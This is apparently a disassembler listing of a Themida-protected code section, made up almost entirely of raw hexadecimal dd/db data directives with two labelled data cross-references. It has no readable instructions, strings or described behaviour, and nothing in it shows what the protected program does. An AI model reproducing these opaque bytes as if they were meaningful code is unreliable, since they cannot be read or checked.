		dd 0DB815532h, 4D539899h, 505B5196h, 0F965F51h,	0B5FFFBB7h
		dd 617AA98h, 0FFDF8B66h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 1292983Dh
		dd 6F8EA4E5h, 0B58BB5B7h, 617AA8Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 53C35646h, 5053E6F2h, 9099529h
		dd 0BB660614h, 858B0D07h, 61421D5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 6DC35242h, 0C4868943h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B2AC352h, 14322995h, 9D316006h, 6141191h
		dd 168C0Fh, 11E90000h, 82000000h, 0FF655644h, 0E94A85DFh
		dd 0C12607D6h, 240A965Ah, 4C28361h, 10E9h, 20C2EB00h, 0DB1B960h
		dd 0DE9D32Eh, 79FE43D6h, 2050891Fh, 0A499509h, 858D0614h
		dd 617BE06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0EC35040h, 89E67DECh, 0B886h, 0DAB70F00h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 136261C3h, 7B52A837h, 0D9BF0FDFh, 0AA98B5FFh, 0EB810617h
		dd 5B9255C8h, 93995FFh,	0BB500614h, 7614A577h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 2E0C352h,	589C2A82h, 0B98531C0h, 0FF061405h
		dd 17AA98B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 5116A136h, 963EDCF7h, 58F0FD6h, 0BF000000h
		dd 1C64D75Dh, 20F595FFh, 0E9600614h, 5,	3798C8A1h, 0C1816697h
		dd 8361AA35h, 140C21BDh, 840F0006h, 39h, 31F9BD8Bh, 51960614h
		dd 0EE8h, 940A6600h, 456B725Fh,	0D8A2EC65h, 66F427C9h
		dd 5FB915BBh, 0BE9505Bh, 66000000h, 7F6255C9h, 70009E65h
		dd 31964A3Fh, 142CB995h, 98B5FF06h, 6A0617AAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C55FC355h, 5A413953h, 11E9h, 48DDC300h, 0D611EE35h
		dd 0C95BD03Fh, 0DB0A6730h, 95FF02C8h, 61402B1h,	2FB1BD89h
		dd 0BD8B0614h, 6142565h, 0AA98B5FFh, 6A0617h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B557A2C3h
		dd 66B031C5h, 86C2EF81h, 308195FFh, 6E80614h, 25000000h
		dd 5F47A617h, 199D8B8Fh
		dd 5F061402h, 9F5BD83h,	0F020614h, 3E84h, 0DD9D0300h, 8B061408h
		dd 142D0185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0EF120C2Ch, 0B0BB8E38h, 10D18529h
		dd 0C60614h, 0ED38100h,	0C7670602h, 14244D85h, 6, 95315300h
		dd 6141005h, 0F3B0E95Fh, 9D29FFFFh, 6140C89h, 6AC18Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 299CD1C3h, 8BCA593Eh, 140579BDh, 99858D06h, 6A06140Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BD22C357h, 50FA8A25h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0CD0C352h, 2B91A976h, 1424B1BDh, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2976C355h, 140575B5h, 14E806h, 0B6D20000h, 8849124Eh
		dd 0C3448599h, 7DBEA455h, 35693DB0h, 0CE917D5h,	5B000000h
		dd 0FE91A466h, 68E386BFh, 5B20CC77h, 850F006Ah,	6, 2945BD8Bh
		dd 858D0614h, 618DE2Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 75C35747h, 42BFDA23h,	0C268685Eh, 58DF8166h
		dd 658589EAh, 83061419h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 1FCE6CC3h, 53198014h
		dd 5690BF0Dh, 9D8B7C7Eh, 6140B09h, 0EE950h, 8600000h, 6F27BAA7h
		dd 0EAD87DD6h, 9ADE86C0h, 89240489h, 140CC1B5h,	6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6A45C353h, 8F0F00h, 0FF000000h, 141A7195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 77B750E6h, 0FC8D8D5Fh, 6A0617A8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 1572C351h, 0D1FFB534h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 97C35747h, 9589F558h,	61414C1h, 12CDBD83h
		dd 0F010614h, 0C085h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7A1668ACh, 0A8BB6649h
		dd 6A026AF2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B7FAC356h, 0FD8AD5D6h, 0FE990h
		dd 85E70000h, 95CA4382h, 243FCA0Dh, 0C5EC7629h,	13E850C2h
		dd 0B9000000h, 8D7FFAE7h, 1AB17CCDh, 64826CCFh,	86CADAh
		dd 5250FE48h, 310F5B56h, 8E9h, 0ACB84B00h, 0B2103A9Ch
		dd 5B585A6Dh, 12E890h, 36500000h, 1C17ABADh, 0C31FD384h
		dd 500F906h, 8F4E7DC4h,	0CEF38166h, 0BD8B5F3Fh,	6142B2Dh
		dd 93995FFh, 8B660614h,	28B0FFBh, 0B7000000h
		db 0D1h
byte_596A09	db 0E9h, 29h, 0Eh	; DATA XREF: Themida_:0054A544o
		dd 0E80000h, 5D000000h,	0DE34ED81h, 6A0618h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4E86B0C3h
		dd 0A51BD8Bh, 0BD8B0614h, 6141B51h, 0EE9h, 41CF2500h, 1207C290h
		dd 75E4E908h, 8D17DA4Bh, 17962385h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 50EB6B18h
		dd 13E95250h, 0F8000000h, 61E6B0E0h, 2A3F103Dh,	36AB86B7h
		dd 0B9886966h, 310F36C9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 1F84685Ah
		dd 9EF21B4Ah, 0DE9h, 920A100h, 461CB915h, 19AB1FEBh, 0FF645324h
		dd 35h,	8AF38100h, 64400B83h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FFF3C4C3h
		dd 14236D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0F16C7455h, 6AFF6AF8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 25E1C355h, 62E381A7h, 0FF37DDDBh, 143099B5h,	57FB8B06h
		dd 18B0Fh, 5FFC0000h, 2B1995FFh, 2EE90614h, 53000001h
		dd 315BF98Bh, 140E69BDh, 2900B006h, 1425A585h, 6670E606h
		dd 91A6D381h, 840F71E4h, 16h, 11E9h, 37EAD900h,	0E96427F9h
		dd 0DD625378h, 56538C51h, 613C0F6Ah, 0EF830Fh, 0BE80000h
		dd 0AD000000h, 1795F45Bh, 0B222656h, 0B589D070h, 6141ADDh
		dd 0C8B60F5Bh, 6BAFA8Bh, 80000000h, 0C18B4DDFh,	61858B60h
		dd 61061411h, 8004E8C1h, 0F7667FDBh, 56C82BE2h,	1B498D29h
		dd 665F0614h, 0D18BFA8Bh, 11E8h, 5B2CFE00h, 3B01E315h
		dd 4A602DCh, 0A2F76793h, 8D296D41h, 6140791h, 87E95Fh
		dd 8D090000h, 6143111h,	53F78166h, 4858B1Bh, 0F000000h
		dd 0C083FEB7h, 6890F07h, 9000000h, 1430898Dh, 0C08306h
		dd 830FD03Bh, 0Dh, 52E9FA8Ah, 0B000000h, 142E419Dh, 0FF8D8B06h
		dd 89FFFFFFh, 1416EDB5h, 1E18306h, 37840Fh, 89560000h
		dd 140C71BDh, 0A5835B06h, 0FFFFFFFFh, 0B052BFFEh, 95897A18h
		dd 4, 13E9h, 0C7815500h, 7D4815FEh, 0FAB15CAAh,	0F93FF519h
		dd 47A5DFDFh, 0E9h, 0E1B58D00h,	6A06185Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 247CC355h
		dd 0D3108194h, 6ADFE46Bh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 9F08C831h
		dd 0F9F3E33Fh, 0CE9h, 0D857EF00h, 0FD047864h, 5F634140h
		dd 69B5094Bh, 0FF06142Eh, 14116995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F52B911Bh
		dd 6CACE899h, 24499D8Bh, 0CFB90614h, 6A000010h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0D35CC356h, 6A8EB9B7h, 0BF90FBD7h, 5F34B157h, 6AFCE183h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A774C350h, 4E783EE6h, 899D8B1Ch,	8006141Ch
		dd 6AFC9EE3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 78CBC355h, 0E5628B55h,	56BB6634h
		dd 959D2BCEh, 0B8061403h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 57C35545h
		dd 0BA14h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FC9A2C3h, 689h,	0E19D8900h, 0AD061423h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BEB4C351h
		dd 7D5E50Dh, 5E8h, 4F01AF00h, 0BD89533Fh, 61419D5h, 56006A5Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E80D6DD3h, 9, 0ED4EEBC7h, 6ABF724Bh, 0EE960AEh, 0C000000h
		dd 8B849439h, 0B77ADC93h, 56D60656h, 0C6CC8017h, 880D5B61h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8BE8C350h, 14322995h, 0D1B50906h
		dd 0F061403h, 8D8BF8B7h, 614064Dh, 0C28B50FCh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 3358188Bh, 1419D19Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0BD71D075h, 1591BD8Bh, 0BF660614h, 0BD835717h, 61429ADh
		dd 55840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4511C350h, 0B858A3h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 4365C350h, 798D8DD7h, 906144Dh
		dd 1410D58Dh, 0E3816606h, 0E1FF4E8Bh, 2671BD83h, 0F000614h
		dd 40F84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 47AF34Eh,	2ACF4877h, 0B5890CA7h
		dd 6142A15h, 350D9D8Bh,	0BD830614h, 6142671h, 0EC840F01h
		dd 31000003h, 1434E98Dh, 71BD8306h, 3061426h, 3A3860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F8455C3h, 687h, 2D958900h, 6006140Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B8C35747h, 0D98C66B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h
		dd 0E1809D1Ah, 0FE904h,	85030000h, 0EED2396h, 0D5333C20h
		dd 0A13F6DE5h, 0FC90ABDh, 15D84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4650FD94h
		dd 0E9196DC7h, 0Ah, 0C9ADBCE1h,	225F0422h, 858BFECAh, 6141969h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 37C35646h
		dd 0E9998A94h, 0Bh, 707B7D4Bh, 4B6BB8E0h, 332BD1C0h, 141B8185h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0B8DD3344h, 90F88B66h, 6050DA8Ah, 0FE8h
		dd 2B390D00h, 941C479Dh, 768102D9h, 38897B94h, 665A6160h
		dd 615B3DBAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6A0C0Dh, 8599D01h, 25680614h, 0E8B7B885h
		dd 14h,	0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 0A99C518Dh
		dd 61605250h, 0DD8A310Fh, 815B585Ah, 7EDA2404h,	6A4866h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F93FF5C3h, 47A5DFDFh, 25BD8BD4h, 0FF06142Bh, 1409AD95h
		dd 0D1BD8B06h, 89061412h, 17AA9885h, 16CE906h, 13E90000h
		dd 75000000h, 0D93880EDh, 51B6BF6Eh, 26094397h,	0E740B3A3h
		dd 858B870Bh, 617AA90h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0F3C35040h, 0EB177BBh, 1800C75Bh, 89000000h
		dd 14053595h, 94B58B06h, 290617AAh, 1410B59Dh, 29858B06h
		dd 8906140Bh, 0B5BD8B06h, 8B06142Ch, 14196985h,	895FBB06h
		dd 0BF0F7FA0h, 44689D9h, 50FFBF0Fh, 16870Fh, 11E90000h
		dd 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 24D4C357h, 7E3653ECh, 0A5BD2920h
		dd 0FF06141Ch, 17AA90B5h, 5D9D3306h, 68061423h,	0DCDA5D0Fh
		dd 48198B3h, 44A6F024h,	6880F23h, 0F000000h, 8Dh, 98858D00h
		dd 6A0617AAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 4D0CC350h, 75EB8474h, 0A5A1A5BFh
		dd 5660506Bh, 0BC3EBA66h, 0C0BB6659h, 48961C0h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 221B9A3Ch, 55A9126Eh, 9D89DAC2h, 6142F9Dh, 0BE9h, 2ACB0E00h
		dd 0D015B6CBh, 77219BD1h, 9AD95FFh, 89510614h, 14199DB5h
		dd 6A615B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 66ABC351h, 0C7B7D9BFh,	14267185h
		dd 306h, 6EE78100h, 832AB7F3h, 17AA98BDh, 840F0006h, 2Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AFC35242h
		dd 0BF66521Dh, 21E944F2h, 0B000000h, 141621BDh,	0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0DE9h
		dd 37DD8000h, 78162642h, 0E66C73F6h, 6A6625h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C63CA5C3h
		dd 83FEBF0Fh, 142671BDh, 850F0306h, 403h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 17C35141h, 71A287C4h
		dd 66E44BFFh, 895721BBh, 140639B5h, 98BD8306h, 617AAh
		dd 3C9840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 18ED7C3h, 141B6D85h, 98B5FF06h
		dd 0F50617AAh, 10E9BD8Bh, 95FF0614h, 6142AF5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EAC35343h, 83B9BF52h
		dd 8B5F3B8Eh, 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 44E8610Bh, 8B60BB84h
		dd 1421E5BDh, 6CB96606h, 6C761CFh, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D0C35343h, 74392C44h
		dd 0E7C47750h, 0D4DBD01h, 0E9500614h, 0Bh, 0EDDBB575h
		dd 0E301FB96h, 89BB82CDh, 0BF662434h, 0B5FF387Ah, 617AA98h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h
		dd 90E018BDh, 0E9D3816Bh, 0FF72A5DCh, 140B3195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 961EA16Eh, 9DF891F6h, 8D0FA306h, 6, 30C59D03h, 0B58B0614h
		dd 617AA8Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	97C35242h, 0E9ECF231h, 8, 97990A3Dh, 0ED9450FBh
		dd 6799D29h, 858B0614h,	61421D5h, 1C259589h, 86890614h
		dd 0C4h, 8699D8Bh, 958B0614h
		dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	65C35040h, 99D89CAh, 83061411h,	6A04C2h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0F99904C3h, 0AE8h, 553DC400h, 0DAB13CBEh, 8BAC4C15h
		dd 50895FFBh, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0F8FD2CC8h, 97572F9h, 0BE06858Dh
		dd 66500617h, 895BDE8Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 6BA4707Fh
		dd 9447E507h, 0BF0F039Ah, 0F006ADEh, 0B5FFFEB7h, 617AA98h
		dd 0F1BD0Bh, 0FFFC0614h, 14093995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FFB70FCDh
		dd 79BB6696h, 0F9650C9h, 0B5FFFEBFh, 617AA98h, 29BD8956h
		dd 5F061405h, 20F595FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 6BE337C3h, 6499D2Bh
		dd 0BD830614h, 6140C21h, 23840F00h, 80000000h, 669679C7h
		dd 50D4B6BFh, 11E9h, 20B53800h,	0A71F97DDh, 91E5C1ABh
		dd 7178274Dh, 0F96EBD5h, 0B5FFDAB7h, 617AA98h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h, 94EF7E9Fh
		dd 0CE8630A2h, 68C0F91h, 9000000h, 141475B5h, 0B195FF06h
		dd 6A061402h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0ABDC355h, 98B5FFF5h, 600617AAh
		dd 1B61858Bh, 8D890614h, 6140289h, 8195FF61h, 6A061430h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0FBA7C355h, 0AEAE21C0h, 9F5BD83h,	0F020614h
		dd 2A84h, 4D9D8B00h, 8B06141Bh,	142D0185h, 13E806h, 0A0020000h
		dd 0A344E5F2h, 0FF5A9089h, 712F27FAh, 51AA1042h, 5FA3B7A3h
		dd 0C70000C6h, 14244D85h, 6, 0F99D8B00h, 0E9061423h, 0FFFFF329h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DFC35343h
		dd 163113E4h, 880FDFE1h, 6, 58D9D89h, 8BF50614h, 79B589C1h
		dd 8D061403h, 140F9985h, 0CB815606h, 5104EF66h,	8B66905Bh
		dd 13E950D8h, 31000000h, 5DD2B47Bh, 211A2B30h, 2758540h
		dd 79E74E05h, 6A901DC6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9629C353h, 283A045Fh
		dd 6A006A0Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 610904C4h, 0FFBA0FFEh, 0DE91Ah, 5EC60000h
		dd 0B2420B04h, 49E29EB7h, 8BEC5838h, 1414FDBDh,	46858D06h
		dd 8B0618EEh, 1413859Dh, 5C08306h, 0B17FBB66h, 5B536050h
		dd 89618BB3h, 81662404h, 6AC653DBh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 9E92CC89h
		dd 0DB354FD7h, 0BF66FA8Bh, 8B601769h, 142F299Dh, 0BE906h
		dd 0FE6E0000h, 64730EFEh, 0B72BCB75h, 6A61A1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A8C35646h, 7195FF8Ch
		dd 8B06141Ah, 0FC8D8DF9h, 6A0617A8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 11DBC355h
		dd 635D0B9h, 0D1FF740Bh, 14E8h,	3A6CC700h, 7F52E440h, 3CB7E095h
		dd 0B73D9EF8h, 6186ADF3h, 9D8B565Dh, 6142425h, 0BD835B5Bh
		dd 61412CDh, 7A850F01h,	0FC000000h, 6A026Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E94120C3h
		dd 13h,	327CF8BAh, 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 31DD1EF6h
		dd 140C6185h, 6E95006h,	0AC000000h, 0B1950667h,	24048951h
		dd 93995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9B8627C3h, 945477Ch, 143521B5h
		dd 0E28E906h, 0E80000h,	5D000000h, 0EE50ED81h, 6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0A0228DC3h, 2FB99589h, 840F0614h, 13h, 0EE9h, 5243CA00h
		dd 8543B374h, 0F9F58BD6h, 6ABE1255h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8C17C356h
		dd 3F9BD8Bh, 9D290614h,	6142259h, 9623858Dh, 6A0617h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F6DDF9C3h, 0F7801CEh, 0E990D8B7h, 0Fh, 0EE9CA00Ch
		dd 0B532D61Ah, 0FA1BD232h, 50FB914Bh, 0EE8h, 11D1A600h
		dd 0AB51A57h, 0E9CEAE81h, 52047E32h, 0F07D4BBFh, 905F5F44h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h
		dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8DC5B9C3h
		dd 65DAE12Bh, 0DB80BBCBh, 12E83Ah
		db 2 dup(0)
word_597B4E	dw 0BA32h		; DATA XREF: Themida_:00549ACCo
		dd 0A2BDE184h, 0C453DABFh, 51675D33h, 7B8BC36h,	68B0Fh
		dd 0BD230000h, 6140B95h, 6D85FF5Fh, 6A061423h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A477C356h, 0EDBD0950h, 0F06140Eh, 68Ah, 0C58D8900h
		dd 6A061404h, 0F9BF0FFFh, 2EA18589h, 0B5FF0614h, 6140669h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4CC35646h
		dd 0F7CF8136h, 0FF2F26E9h, 142B1995h, 0DEE906h,	0B0F80000h
		dd 0F7816600h, 70E6B916h, 6810Fh, 85090000h, 61401D5h
		dd 0C78071E4h, 0F613CD7h, 0BB83h, 8E900h, 9F30000h, 0AEE8C76h
		dd 0B60F2F6Ch, 9EFCBBC8h, 42B74D7Bh, 6BAh, 4A30BF00h, 0C18B18F5h
		dd 8B04E8C1h, 140CF5BDh, 0E2F76606h, 85316053h,	6142F91h
		dd 61F18B66h, 8BC82B5Bh, 1401AD9Dh, 8BD18B06h, 6EE9F8h
		dd 858B0000h, 5F4C4C44h, 0C083FD8Ah, 8D958907h,	83061406h
		dd 0BD8900C0h, 6141705h, 0D03B62B7h, 8830Fh, 0B70F0000h
		dd 42E9F9h, 8D8B0000h, 0FFFFFFFFh, 0BE9h, 0D11C7200h, 0C2B28F4Fh
		dd 0C9EAD3E1h, 0F01E183h, 2384h, 0A583F900h, 0FFFFFFFFh
		dd 6870FFEh, 9000000h, 1425AD95h, 44958906h, 0FC5F4C4Ch
		dd 0E9FBBF0Fh, 0
		dd 6CB0B58Dh, 0F98B0618h, 31006AF8h, 142185B5h,	6995FF06h
		dd 6A061411h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 1910C351h, 3CBF66F8h, 0FCEF81ECh
		dd 0B9445228h, 0FD2h, 22958D89h, 0E1830614h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD8BFF30h, 614348Dh, 0FC98C380h, 7919589h, 0C02B0614h
		dd 0BAF98B66h, 0
		dd 6E9B589h, 33AD0614h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0A11E32C3h, 893CC5EEh, 141971B5h, 0D9BF0F06h, 0DE9h
		dd 8359B900h, 56A42D83h, 0B3D25A05h, 880D8061h,	66000000h
		dd 69C5F781h, 3229958Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 14721EC3h, 0E1FEFB75h
		dd 8B7107B7h, 1423A59Dh, 21958906h, 8B06142Ch, 14064D8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0FCEF96B9h, 0E3D9D8Bh, 8B500614h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 7AC35040h, 0E2E81FB2h, 0F5C55923h
		dd 1B6D8529h, 0BD830614h, 61429ADh, 7A840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8B23C357h, 0B8DEh, 0E7810000h, 5109AFC0h
		dd 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0EE2AE4C3h, 34EF1E78h, 2F6D9D01h
		dd 0E1FF0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	5CC35141h, 0D3A80EE5h, 71BD83F5h, 61426h, 491840Fh
		dd 0BD830000h, 6142671h, 9F840F01h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0B1B0C356h, 238E10E6h, 12E9h, 2F717200h, 0B1F4579Bh
		dd 541512E2h, 0B93B8C39h, 830123CAh, 142671BDh,	860F0306h
		dd 424h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	87C35040h, 2BDBCBC5h, 6049B627h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 9FC35646h, 739390B8h
		dd 0B662425Bh, 0D98C66DEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 56C35747h, 661323FCh,	805F53BBh, 9D8B04E1h
		dd 61429F9h, 840FC90Ah,	122h, 1BE9BD0Bh, 858B0614h, 6141969h
		dd 5E9h, 656E5F00h, 85330F07h, 6141B81h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 8AC35040h, 0A0DB22D6h
		dd 894BD4D5h, 1401D5BDh, 5F515006h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E94FC350h, 0D98B28E1h, 0FFBBF0Fh, 6AD8BFh, 9D89DF8Bh
		dd 6140311h, 17D21B68h,	2E24BBE0h, 481074Ch, 731E424h
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 181D6DE3h, 32EA9240h, 0BD8B5161h, 6140575h
		dd 0BC9BD8Bh, 95FF0614h, 61409ADh, 81D9BF0Fh, 0A29BE7E7h
